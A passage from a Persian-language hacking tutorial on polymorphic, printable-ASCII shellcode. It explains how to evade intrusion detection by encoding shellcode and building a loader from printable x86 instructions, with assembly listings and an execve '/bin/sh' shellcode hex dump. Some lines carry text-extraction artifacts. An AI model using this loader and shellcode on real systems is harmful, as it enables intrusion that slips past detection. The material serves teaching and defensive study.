sh-2.05b#
اﺳﺘﻔﺎده از ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ در ﺳﻮرﺗﻤﻪ ،NOPاﺷﮑﺎل زداﯾﯽ اﮐـﺴﭙﻠﻮﯾﺖ را راﺣـﺖ ﺗـﺮ ﻣـﯽ ﺳـﺎزد و ﻧﯿـﺰ اﻣﮑـﺎن
ﺗﺸﺨﯿﺺ ﺳﻮرﺗﻤﻪ را ﺗﻮﺳﻂ ﻗﻮاﻧﯿﻦ ﺳﺎده IDSﻫﺎ در ﯾﺎﻓﺘﻦ رﺷﺘﻪ ﻫﺎی ﻃﻮﻻﻧﯽ از دﺳﺘﻮرات NOPاز ﺑﯿﻦ ﻣﯽ ﺑﺮد.
.2,10,9ﺷﻞ-ﮐﺪﻫﺎی دﮔﺮﺷﮑﻞ
ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﭘﯿﭽﯿﺪه ﺗﺮ اﻣﻀﺎﻫﺎی ﻣﻌﻤﻮل در ﺷﻞ-ﮐﺪ را ﺟﺴﺘﺠﻮ ﻣﯽ ﮐﻨﻨﺪ .اﻣﺎ ﺑﺎ اﺳﺘﻔﺎده از ﺷﻞ-ﮐﺪ ﭼﻨـﺪ
ﺷﮑﻠﯽ ﯾﺎ دﮔﺮﺷﮑﻞ ) (polymorphic shellcodeﻣﯽ ﺗﻮان ﺣﺘﯽ اﯾﻦ ﺳﯿﺴﺘﻢ ﻫﺎ را دور زد ) .(bypassاﯾﻦ ﺗﮑﻨﯿـﮏ در
ﺑﯿﻦ وﯾﺮوس ﻧﻮﯾﺴﺎن راﯾﺞ اﺳﺖ و ﻣﻌﻤﻮﻻ ﻣﺎﻫﯿﺖ اﺻﻠﯽ ﺷﻞ-ﮐﺪ را در ﻗﺎﻟﺐ ﭘﻮﺷﺶ ﻫﺎی ﺑﺴﯿﺎر زﯾﺎد ﻣﺨﻔـﯽ ﻣـﯽ ﻧﻤﺎﯾـﺪ.
ﻣﻌﻤﻮﻻ اﯾﻦ ﮐﺎر ﺑﺎ ﻧﻮﺷﺘﻦ ﯾـﮏ ﺑﺎرﮔـﺬار ) (loaderاﻧﺠـﺎم ﻣـﯽ ﺷـﻮد ﮐـﻪ ﺷـﻞ-ﮐـﺪ را ﺑـﻪ ﺗﺮﺗﯿـﺐ ﺳـﺎﺧﺘﻪ و رﻣﺰﮔـﺸﺎﯾﯽ
) (decodeو ﺳﭙﺲ آﻧﺮا اﺟﺮا ﻣﯽ ﮐﻨﺪ .ﯾﮏ ﺗﮑﻨﯿﮏ ﻣﻌﻤﻮل در اﯾﻦ راﺳﺘﺎ رﻣﺰی ﮐـﺮدن ) (encryptﺷـﻞ-ﮐـﺪ ﺑـﺎ XOR
ﮐﺮدن ﻣﻘﺎدﯾﺮ در آن ،اﺳﺘﻔﺎده از ﮐﺪ ﺑﺎرﮔﺬار ﺑﺮای رﻣﺰﮔﺸﺎﯾﯽ ﺷﻞ-ﮐﺪ ،ﺳﭙﺲ اﺟﺮا ﺷﻞ-ﮐﺪ رﻣﺰﮔﺸﺎﯾﯽ ﺷﺪه اﺳﺖ .اﯾﻦ
ﻓﺮآﯾﻨﺪ اﻣﮑﺎن ﺗﺸﺨﯿﺺ داده ﺷﺪن ﺷﻞ-ﮐﺪ رﻣﺰﺷﺪه و ﮐﺪ ﺑﺎرﮔﺬار را ﺗﻮﺳﻂ ﺳﯿـﺴﺘﻢ ﺗـﺸﺨﯿﺺ ﻧﻔـﻮذ از ﺑـﯿﻦ ﻣـﯽ ﺑـﺮد،
اﮔﺮﭼﻪ ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ ﯾﮑﺴﺎن اﺳﺖ )ﯾﻌﻨﯽ اﺟﺮا ﺷﺪن ﺷﻞ-ﮐﺪ( .ﯾﮏ ﺷﻞ-ﮐﺪ ﯾﮑﺴﺎن را ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﺮق ﺑـﺴﯿﺎر ﻣﺨﺘﻠﻔـﯽ
رﻣﺰی ﮐﺮد ،ﻟﺬا ﻓﺮآﯾﻨﺪ ﺗﺸﺨﯿﺺ ﻣﺒﺘﻨﯽ ﺑﺮ اﻣﻀﺎ 40ﺗﻘﺮﯾﺒﺎ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯽ ﮔﺮدد.
اﺑﺰاری ﻣﺜﻞ ADMutateوﺟﻮد دارﻧﺪ ﮐﻪ ﺑﺎ XORﮐﺮدن ﺷﻞ-ﮐﺪ ،آﻧﺮا رﻣﺰی ﮐﺮده و ﺳـﭙﺲ ﮐـﺪ ﺑﺎرﮔـﺬار را ﺑـﻪ آن
ﺿﻤﯿﻤﻪ ﻣﯽ ﻧﻤﺎﯾﻨﺪ .اﮔﺮﭼﻪ اﯾﻦ اﺑﺰار ﮐﺎﻣﻼ ﻣﻔﯿﺪ اﺳﺖ ،اﻣﺎ ﻧﻮﺷﺘﻦ ﯾﮏ ﺷﻞ-ﮐﺪ دﮔﺮﺷﮑﻞ ﺑﺪون اﺳـﺘﻔﺎده از اﺑـﺰار ﺗﺠﺮﺑـﻪ
ﺑﻬﺘﺮی اﺳﺖ.
ﺑﺮای ﻣﺨﻔﯽ ﮐﺮدن ﺷﻞ-ﮐﺪ ،ﺑﺎﯾﺪ ﯾﮏ ﺷﻞ-ﮐـﺪ دﮔﺮﺷـﮑﻞ را ﺗﻤﺎﻣـﺎ ﺑـﺎ ﮐﺎراﮐﺘﺮﻫـﺎی ﻗﺎﺑـﻞ ﭼـﺎپ اﯾﺠـﺎد ﮐـﺮد .ﻟـﺬا اﯾـﻦ
ﻣﺤﺪودﯾﺖ در اﺳﺘﻔﺎده از دﺳﺘﻮراﺗﯽ ﮐﻪ ﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﺷـﻮﻧﺪ ﻣـﺸﮑﻼﺗﯽ را اﯾﺠـﺎد ﻣـﯽ
ﮐﻨﺪ و در ﮐﻨﺎر آن ﻧﯿﺰ ﻫﮏ ﻫﺎی زﯾﺮﮐﺎﻧﻪ ﺗﺮی ﺑﮑﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷﻮﻧﺪ .اﻣﺎ در اﻧﺘﻬﺎ ﺷﻞ-ﮐﺪ اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ ﺗﻮﻟﯿـﺪ ﺷـﺪه
ﺑﺎﯾﺴﺘﯽ ﺑﺴﯿﺎری از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ را ﻓﺮﯾﺐ دﻫﺪ .ﻫﻤﭽﻨﯿﻦ ﻣﯽ ﺗﻮان آﻧﺮا در ﺑﺎﻓﺮﻫﺎی ﻣﺤﺪودﮐﻨﻨﺪه ای ﺟﺎی
داد ﮐﻪ اﺟﺎزه ﻧﻮﺷﺘﻦ ﮐﺎراﮐﺘﺮﻫﺎی ﻏﯿﺮﻗﺎﺑﻞ ﭼﺎپ را ﻧﻤﯽ دﻫﻨﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐـﻪ اﯾـﻦ ﺷـﻞ-ﮐـﺪ ﻣـﯽ ﺗﻮاﻧـﺪ
ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ را اﮐﺴﭙﻠﻮﯾﺖ ﮐﻨﺪ ﮐﻪ ﺷﺎﯾﺪ ﻗﺒﻼ ﻏﯿﺮﻗﺎﺑﻞ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن ﺑﻮده اﻧﺪ.
زﯾﺮ ﻣﺠﻤﻮﻋﻪ ای از دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﮐﻪ ﺑﻪ ﺻﻮرت دﺳﺘﻮرات ﮐﺪ ﻣﺎﺷﯿﻦ اﺳﻤﺒﻞ ﺷﺪه و در ﻣﺤﺪوده ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ
ﻗﺎﺑﻞ ﭼﺎپ ﺑﺎﺷﻨﺪ )از ﮐﺎراﮐﺘﺮی ﺑﺎ ﻣﻘﺪار 0x33ﺗﺎ (0x7eﻋﻤﻼ ﺧﯿﻠﯽ ﮐﻮﭼﮏ اﺳﺖ .اﯾﻦ ﻣﺤﺪودﯾﺖ ﻧﻮﺷﺘﻦ ﺷﻞ-ﮐﺪ را ﺑﻪ
ﻃﻮر ﻣﺤﺴﻮﺳﯽ دﺷﻮار وﻟﯽ ﻧﻪ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯽ ﺳﺎزد.
40
Signature-based Detection
86
ﻣﺘﺎﺳﻔﺎﻧﻪ دﺳﺘﻮر XORروی ﺑﻌﻀﯽ ﺛﺒﺎت ﻫﺎ ﺑﻪ ﺻﻮرت آن ﻣﺠﻤﻮﻋﻪ ی ﮐﺎراﮐﺘﺮﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻧﻤﯽ ﺷﻮد .ﺑﻪ اﯾـﻦ
ﺻﻮرت ﺑﺎﯾﺪ راﻫﮑﺎر دﯾﮕﺮی ﺟﻬﺖ ﺻﻔﺮ ﮐﺮدن ﺛﺒﺎت ﻫﺎ ﺑﻪ ﻣﻨﻈﻮر اﺟﺘﻨﺎب از ﺑﺎﯾﺖ ﻫـﺎی ﭘـﻮچ و ﻧﯿـﺰ اﺳـﺘﻔﺎده ی ﺗﻨﻬـﺎ از
دﺳﺘﻮرات ﻗﺎﺑﻞ ﭼﺎپ اﺗﺨﺎذ ﺷﻮد .ﺧﻮﺷﺒﺨﺘﺎﻧﻪ ﻋﻤﻠﮕﺮﺑﯿﺘﯽ دﯾﮕﺮی ﺑﻪ ﻧﺎم ANDوﺟﻮد دارد ﮐﻪ ﺑﻬﻨﮕﺎم اﺳـﺘﻔﺎده از ﺛﺒـﺎت
EAXﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮ %اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد .ﭼﻮن ﻣﻘﺪار 0x41در ﻫﮕﺰادﺳﯿﻤﺎل ﻣﻌﺎدل ﮐﺎراﮐﺘﺮ ﻗﺎﺑـﻞ ﭼـﺎپ Aاﺳـﺖ،
ﻟﺬا دﺳﺘﻮر اﺳﻤﺒﻠﯽ " "and eax, 0x41414141ﺑﻪ ﺻﻮرت ﮐﺪ ﻣﺎﺷﯿﻦ ﻗﺎﺑﻞ ﭼﺎپ " "%AAAAاﺳﻤﺒﻞ ﻣﯽ ﺷﻮد.
ﺗﻐﯿﯿﺮ ﺑﯿﺖ ﻫﺎ در دﺳﺘﻮر ANDاز ﻗﺮار زﯾﺮ اﺳﺖ:
1 and 1 = 1
0 and 0 = 0
1 and 0 = 0
0 and 1 = 0
ﭼﻮن ﺗﻨﻬﺎ ﻣﻮردی ﮐﻪ ﻧﺘﯿﺠﻪ ﻧﻬﺎﯾﯽ آن 1اﺳﺖ زﻣﺎﻧﯽ اﺳﺖ ﮐﻪ ﻣﻘﺪار ﻫﺮ دو ﺑﯿﺖ 1ﺑﺎﺷﺪ ،ﻟﺬا اﮔﺮ دو ﻣﻘـﺪار ﻣﻌﮑـﻮس ﺑـﺎ
ﻫﻢ ،درون AND EAXﺷﻮﻧﺪ ،آﻧﮕﺎه ﻣﻘﺪار EAXﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﺧﻮاﻫﺪ ﺷﺪ.
Binary Hexadecimal
1000101010011100100111101001010 0x454e4f4a
AND 0111010001100010011000000110101 AND 0x3a313035
------------------------------------ ---------------
0000000000000000000000000000000 0x00000000
ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﺗﮑﻨﯿﮏ و اﺳﺘﻔﺎده از دو ﻣﻘﺪار 32ﺑﯿﺘﯽ ﻗﺎﺑﻞ ﭼﺎپ و ﻣﻌﮑﻮس ﺑﯿﺘﯽ ﯾﮑﺪﯾﮕﺮ ،ﻣﯽ ﺗﻮان ﺑﺪون اﺳﺘﻔﺎده از
ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﻣﻘﺪار ﺛﺒﺎت EAXرا ﺻﻔﺮ ﮐﺮد و ﮐﺪ ﻣﺎﺷﯿﻦ اﺳﻤﺒﻞ ﻧﯿﺰ ﯾﮏ ﻣﺘﻦ ﻗﺎﺑﻞ ﭼﺎپ ﺧﻮاﻫﺪ ﺷﺪ.
and eax, 0x454e4f4a ; assembles into %JONE
and eax, 0x3a313035 ; assembles into %501:
ﺑﻨﺎﺑﺮاﯾﻦ ﮐﺪ ﻣﺎﺷﯿﻦ " "%JONE%501:ﺳﺒﺐ ﺻﻔﺮ ﺷﺪن ﺛﺒﺎت EAXﻣـﯽ ﺷـﻮد .دﯾﮕـﺮ دﺳـﺘﻮراﺗﯽ ﮐـﻪ ﺑـﻪ ﺻـﻮرت
ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮﻧﺪ از ﻗﺮار زﯾﺮ ﻫﺴﺘﻨﺪ:
sub eax, 0x41414141 -AAAA
push eax P
pop eax X
push esp T
pop esp \
اﯾﻦ دﺳﺘﻮرات ﺑﻬﻤﺮاه دﺳﺘﻮر AND eaxﺑﺮای اﯾﺠﺎد ﮐﺪﺑﺎرﮔﺬار )ﮐﻪ ﺷﻞ-ﮐﺪ را روی ﭘﺸﺘﻪ اﯾﺠﺎد و ﺳﭙﺲ اﺟﺮا ﺧﻮاﻫﺪ
ﮐﺮد( ﮐﺎﻓﯽ ﻫﺴﺘﻨﺪ .ﺗﮑﻨﯿﮏ ﮐﻠﯽ ﺑﻪ اﯾﻦ ﺻﻮرت اﺳﺖ ﮐﻪ اﺑﺘﺪا ﺑﺎﯾﺪ ﻣﻘﺪار ESPرا ﺑﻪ ﻣﺤﻠﯽ ﻗﺒﻞ از ﮐـﺪِ ﺑﺎرﮔـﺬار در ﺣـﺎل
اﺟﺮا )در آدرس ﻫﺎی ﺑﺎﻻ ﺣﺎﻓﻈﻪ( ﺗﻨﻈﯿﻢ ﮐﻨﯿﻢ و ﺳﭙﺲ ﺷﻞ-ﮐﺪ را از آﺧﺮ ﺑﻪ اول ،ﺑﺎ ﻗﺮار دادن ﻣﻘﺎدﯾﺮ در ﭘﺸﺘﻪ ﺑﺴﺎزﯾﻢ.
در زﯾﺮ روﻧﺪ ﻣﺮﺑﻮﻃﻪ را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ.
87
ﭼﻮن رﺷﺪ ﭘﺸﺘﻪ رو ﺑﻪ ﺑﺎﻻ اﺳﺖ )از آدرس ﻫﺎی ﺑﺎﻻﺗﺮ ﺣﺎﻓﻈﻪ ﺑﻪ آدرس ﻫﺎی ﭘﺎﺋﯿﻦ ﺗﺮ ﺣﺎﻓﻈﻪ( ،ﻟﺬا در زﻣﺎن ﻗﺮار ﮔﺮﻓﺘﻦ
ﻣﻘﺎدﯾﺮ در ﭘﺸﺘﻪ ESP ،رو ﺑﻪ ﻋﻘﺐ و ﺑﻬﻨﮕﺎم اﺟﺮای ﮐﺪ ﺑﺎرﮔﺬار ،EIPرو ﺑﻪ ﺟﻠﻮ ﺣﺮﮐﺖ ﻣﯽ ﮐﻨﺪ .ﻧﻬﺎﯾﺘﺎ EIPو ESPﺑـﻪ
ﯾﮑﺪﯾﮕﺮ ﻣﯽ رﺳﻨﺪ )ﭼﻮن ﺟﻬﺖ ﺣﺮﮐﺖ آﻧﻬﺎ ﻣﺨﺎﻟﻒ ﯾﮑﺪﯾﮕﺮ اﺳﺖ( و از آن ﻧﻘﻄﻪ ﺑﻪ ﺑﻌﺪ EIP ،ﺷﻞ-ﮐﺪ ﺗﺎزه اﯾﺠﺎد ﺷـﺪه
را اﺟﺮا ﻣﯽ ﮐﻨﺪ.
اﺑﺘﺪا ﺑﺎﯾﺪ ﻣﻘﺪار ESPرا ﺑﻪ 860ﺑﺎﯾﺖ ﻗﺒﻞ از ﮐﺪﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا ﺗﻨﻈﯿﻢ ﮐﻨﯿﻢ ﮐﻪ اﯾﻦ ﮐﺎر ﺑـﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﻣﻘـﺪار
860ﺑﻪ ESPاﻧﺠﺎم ﻣﯽ ﺷﻮد .اﯾﻦ ﻣﻘﺪار اﻧﺪازه ﮐﺪﺑﺎرﮔﺬار را ﺗﻌﯿﯿﻦ ﻣﯽ ﻧﻤﺎﯾﺪ ،ﻫﻤﭽﻨﯿﻦ ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن اﯾﻦ ﻣﻘﺪار ﺣﺪود
200ﺑﺎﯾﺖ ﺑﺮای ﺳﻮرﺗﻤﻪ NOPدر ﻧﻈﺮ ﮔﺮﻓﺘﻪ اﯾﻢ .ﻧﯿﺎزی ﺑﻪ دﻗﯿﻖ ﺑﻮدن اﯾﻦ ﻣﻘﺪار ﻧﯿﺴﺖ ،ﭼﺮا ﮐـﻪ ﺗـﺪاﺑﯿﺮی ﮐـﻪ ﺑﻌـﺪا
اﺗﺨﺎذ ﻣﯽ ﮔﺮدد اﻣﮑﺎن اﻧﺪﮐﯽ ﮐﻢ دﻗﺘﯽ را ﻓﺮاﻫﻢ ﻣﯽ آورد .ﭼﻮن ﺗﻨﻬﺎ دﺳﺘﻮر ﮐﺎرﺑﺮدی در اﯾـﻦ ﺷـﺮاﯾﻂ دﺳـﺘﻮر ﺗﻔﺮﯾـﻖ
اﺳﺖ ،ﻟﺬا ﻣﯽ ﺗﻮان دﺳﺘﻮر ﺟﻤﻊ را ﺑﺎ ﮐﺎﺳﺘﻦ ﯾﮏ ﻣﻘﺪار از ﺑﯿﺸﺘﺮﯾﻦ ﻣﻘﺪار ﭘﻮﺷﺶ داده ﺷﺪه در ﯾﮏ ﺛﺒﺎت ﺷـﺒﯿﻪ ﺳـﺎزی
ﮐﺮد .ﻣﺜﻼ در ﯾﮏ ﺛﺒﺎت ﮐﻪ ﺗﻨﻬﺎ 32ﺑﯿﺖ ﻓﻀﺎ دارد ،اﺿﺎﻓﻪ ﺷﺪن ﻣﻘﺪار 860ﺑﻪ ﯾﮏ ﺛﺒﺎت ﻣﻌﺎدل ﺑـﺎ ﻋﺒـﺎرت 232 – 860
ﯾﺎ 4,294,966,436اﺳﺖ .اﻣﺎ ﺑﺎﯾﺪ اﯾﻦ ﺗﻔﺮﯾﻖ را ﺗﻨﻬﺎ ﺑﺎ ﻣﻘﺎدﯾﺮ ﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم داد ،ﻟـﺬا اﯾـﻦ ﺗﻔﺮﯾـﻖ ﺑـﻪ ﺳـﻪ دﺳـﺘﻮر
ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد ﮐﻪ ﻫﻤﮕﯽ از ﻋﻤﻠﻮﻧﺪﻫﺎی ﻗﺎﺑﻞ ﭼﺎپ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ.
sub eax, 0x39393333 ; assembles into -3399
sub eax, 0x72727550 ; assembles into -Purr
sub eax, 0x54545421 ; assembles into -!TTT
ﻫﺪف ،ﮐﺎﺳﺘﻦ اﯾﻦ ﻣﻘﺎدﯾﺮ از ) ESPو ﻧﻪ (EAXاﺳﺖ ،اﻣﺎ در اﯾﻦ ﺻﻮرت دﺳﺘﻮر " "sub espﺑﻪ ﺻـﻮرت ﮐﺎراﮐﺘﺮﻫـﺎی
اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻧﻤﯽ ﺷﻮد .ﻟﺬا ﺑﺮای ﺗﻔﺮﯾﻖ ﺑﺎﯾﺪ ﻣﻘﺪار ﻓﻌﻠﯽ ESPرا ﺑﻪ EAXﻣﻨﺘﻘﻞ ﮐﺮد ،ﺳﭙﺲ ﻣﻘـﺪار ﺟﺪﯾـﺪ
EAXرا ﻣﺠﺪدا ﺑﻪ ESPاﻧﺘﻘﺎل داد.
ﭼﻮن ﻫﯿﭻ ﯾﮏ از دﺳﺘﻮرات " "mov esp, eaxو " "mov eax, espﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ
ﻧﻤﯽ ﺷﻮﻧﺪ ،ﻟﺬا اﯾﻦ اﻧﺘﻘﺎل را ﺑﺎﯾﺪ ﺑﺎ اﺳﺘﻔﺎده از ﭘﺸﺘﻪ اﻧﺠـﺎم داد .ﺑـﺎ ﻗـﺮار دادن ﻣﻘـﺪار از ﺛﺒـﺎت ﻣﻨﺒـﻊ در ﭘـﺸﺘﻪ و ﺳـﭙﺲ
ﺑﺎزﯾﺎﺑﯽ ﻫﻤﺎن ﻣﻘـﺪار در ﺛﺒـﺎت ﻣﻘـﺼﺪ ﻣﯿﺘـﻮان ﻣﻌـﺎدل دﺳـﺘﻮر "> "mov <dest>, <sourceرا در ﻗﺎﻟـﺐ دﺳـﺘﻮرات
"> "push <sourceو "> "pop <destﭘﯿﺎده ﺳﺎزی ﮐﺮد .ﻫﻤﭽﻨﯿﻦ ﭼﻮن دﺳﺘﻮرات popو pushﺑﺮای ﻫﺮ دو ﺛﺒـﺎت
EAXو ESPﺑﻪ ﺻﻮرت ﮐﺎراﮐﺘﺮﻫﺎی اﺳﮑﯽ ﻗﺎﺑﻞ ﭼﺎپ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮﻧﺪ ،ﻟﺬا ﺗﻤﺎم اﯾﻦ ﻋﻤﻠﯿﺎت در ﻗﺎﻟﺐ ﮐﺪﻫﺎی اﺳـﮑﯽ
ﻗﺎﺑﻞ ﭼﺎپ اﻧﺠﺎم ﻣﯽ ﮔﺮدد.
ﺑﻨﺎﺑﺮاﯾﻦ ﻣﺠﻤﻮﻋﻪ دﺳﺘﻮر ﻧﻬﺎﯾﯽ ﺟﻬﺖ اﺿﺎﻓﻪ ﮐﺮدن ﻣﻘﺪار 860ﺑﻪ ESPﺑﻪ ﺻﻮرت زﯾﺮ ﻫﺴﺘﻨﺪ:
and eax, 0x454e4f4a ; assembles into %JONE
and eax, 0x3a313035 ; assembles into %501:
88
ﮐـﺪ ﺳـﺎﺧﺘﻪ-( از ﺷﻞHexadecimal Dump) در زﯾﺮ ﯾﮏ اﻧﺒﺎره ﻫﮕﺰادﺳﯿﻤﺎل.ﺑﺎﯾﺖ ﻫﺎ ﺑﺎﯾﺪ رو ﺑﻪ ﻋﻘﺐ ﻗﺮار ﺑﮕﯿﺮﻧﺪ
.ﺷﺪه در ﻓﺼﻞ ﻗﺒﻠﯽ را ﮐﻪ ﺗﻮﺳﻂ ﮐﺪ ﺑﺎرﮔﺬار ﻗﺎﺑﻞ ﭼﺎپ اﯾﺠﺎد ﺧﻮاﻫﺪ ﺷﺪ ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﻢ
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
ﺑﺮاﺑــﺮEAX در اﯾــﻦ ﻣــﻮرد ﭼﻬــﺎر ﺑﺎﯾــﺖ آﺧــﺮ ﺑــﻪ ﺻــﻮرت ﺿــﺨﯿﻢ ﻧﻤــﺎﯾﺶ ﯾﺎﻓﺘــﻪ اﻧــﺪ؛ ﻣﻘــﺪار ﻣﻨﺎﺳــﺐ ﺑــﺮای ﺛﺒــﺎت
ﺟﻬﺖ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ دادن ﻣﻘـﺪارsub اﯾﻦ ﮐﺎر را ﺑﺴﺎدﮔﯽ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از دﺳﺘﻮرات. اﺳﺖ0x80CD0BB0
را رو ﺑﻪ ﺑﺎﻻ )ﺑﻪ ﺳـﻤﺖ آدرس ﻫـﺎی ﮐﻤﺘـﺮESP اﯾﻦ ﻋﻤﻞ ﻣﻘﺪار. روی ﭘﺸﺘﻪ اﻧﺠﺎم دادEAX و ﺳﭙﺲ ﻗﺮار دادن ﻣﻘﺪار
ﮐﺪ- ﺑﺎﯾﺘﯽ ﺑﻌﺪی از ﺷﻞ4 اﮐﻨﻮن ﻧﻮﺑﺖ.ﺣﺎﻓﻈﻪ( و در اﺷﺎره ﺑﻪ اﻧﺘﻬﺎی ﻣﻘﺪار اﺿﺎﻓﻪ ﺷﺪه ی اﺧﯿﺮ در ﭘﺸﺘﻪ اﻧﺘﻘﺎل ﻣﯽ دﻫﺪ
EAX ﺑﯿﺸﺘﺮی ﺑـﺮای ﭼـﺮﺧﺶ دادنsub دﺳﺘﻮرات.(ﺧﻂ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ-ﮐﺪ ﻗﺒﻠﯽ ﺑﻪ ﺻﻮرت زﯾﺮ-اﺳﺖ )ﮐﻪ در ﺷﻞ
، ﺑـﺎﯾﺘﯽ4 ﺑﺎ ﺗﮑﺮار اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺮای ﻫﺮ ﺗﮑﻪ. ﺑﮑﺎر رﻓﺘﻪ و ﺳﭙﺲ اﯾﻦ ﻣﻘﺪار در ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد0x99E18953 دور
.ﮐﺪ از آﺧﺮ ﺑﻪ اول ﺗﺎ ﮐﺪ ﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮد-ﺷﻞ
00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh
00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......
در ﭘﺸﺘﻪ وﺟﻮد0xC931DB31 ﺑﺎﯾﺖ ﺑﻌﺪ از ﻗﺮار ﮔﺮﻓﺘﻦ ﻣﻘﺪار3 اﻣﺎ ﺗﻨﻬﺎ،ﮐﺪ دﺳﺖ ﻣﯽ ﯾﺎﺑﯿﻢ-ﺳﺮاﻧﺠﺎم ﺑﻪ اﺑﺘﺪای ﺷﻞ
NOP اﯾﻦ ﻣﺸﮑﻞ را ﻣﯽ ﺗﻮان ﺑﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﯾـﮏ دﺳـﺘﻮر.(ﺧﻂ ﻣﺸﻬﻮد ﻫﺴﺘﻨﺪ-ﮐﺪ ﺑﺎﻻ ﺑﻪ ﺻﻮرت زﯾﺮ-دارد )در ﺷﻞ
ﮐﺪﻣﺎﺷﯿﻦ دﺳﺘﻮر0x90) روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد0x58466A90 در ﻧﺘﯿﺠﻪ ﻣﻘﺪار،ﺑﺎﯾﺘﯽ در اﺑﺘﺪای ﮐﺪ ﺣﻞ ﮐﺮد-ﺗﮏ
.( اﺳﺖNOP
:ﮐﺪ ﻣﺮﺑﻮط ﺑﻪ ﮐﺪ ﻓﺮآﯾﻨﺪ را در زﯾﺮ ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ
and eax, 0x454e4f4a ; Zero out the EAX register again
and eax, 0x3a313035 ; using the same trick
89
sub eax, 0x387a3848 ; Subtract more printable values
sub eax, 0x38713859 ; from EAX to wrap EAX to 0x58466a90
push eax ; and then push EAX to the stack
ﮐﺪ در ﻣﮑﺎﻧﯽ ﺑﻌﺪ از ﮐﺪ ﺑﺎرﮔﺬار ﺳﺎﺧﺘﻪ ﺷﺪه اﺳﺖ و اﺣﺘﻤﺎﻻ ﯾﮏ ﺷـﮑﺎف )ﻓـﻀﺎ(در ﺣﺎﻓﻈـﻪ- ﺷﻞ،ﭘﺲ از ﺗﻤﺎم اﯾﻦ ﻣﻮارد
ﭘـﺮNOP اﯾﻦ ﺷﮑﺎف را ﻣﯽ ﺗﻮان ﺑﺎ اﯾﺠﺎد ﯾـﮏ ﺳـﻮرﺗﻤﻪ.ﮐﺪ و ﮐﺪ ﺑﺎرﮔﺬار در ﺣﺎل اﺟﺮا وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ-ﺑﯿﻦ ﺷﻞ
.ﮐﺪ را ﺑﻪ ﯾﮑﺪﯾﮕﺮ ﻣﺘﺼﻞ ﮐﺮد- و ﮐﺪ ﺑﺎرﮔﺬار و ﺷﻞ41ﮐﺮد
ﭼﻨـﺪﯾﻦ ﺑـﺎر در ﭘـﺸﺘﻪEAX ﺑﮑﺎر ﻣﯽ روﻧﺪ و ﺳﭙﺲEAX در0x90909090 ﺑﺮای ﻗﺮار دادنsub ﻣﺠﺪدا دﺳﺘﻮرات
ﻧﻬﺎﯾﺘﺎ اﯾـﻦ دﺳـﺘﻮرات.ﮐﺪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ- در اﺑﺘﺪای ﺷﻞNOP ﭼﻬﺎر دﺳﺘﻮر،push ﺑﺎ ﻫﺮ دﺳﺘﻮر.ﻗﺮار ﺧﻮاﻫﺪ ﮔﺮﻓﺖ
